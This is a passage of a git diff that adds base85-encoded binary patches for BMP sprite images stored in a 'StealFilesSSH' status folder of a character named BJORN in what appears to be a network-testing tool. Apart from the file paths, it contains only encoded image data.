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 VP%z&^`Mi@2|{(pP^0lxqM literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..c7b26b5b06e683e2312d59826244541d48104536 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..474c3150ad0364f8a6df95ea22514c07dd0718ce GIT binary patch literal 18462 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 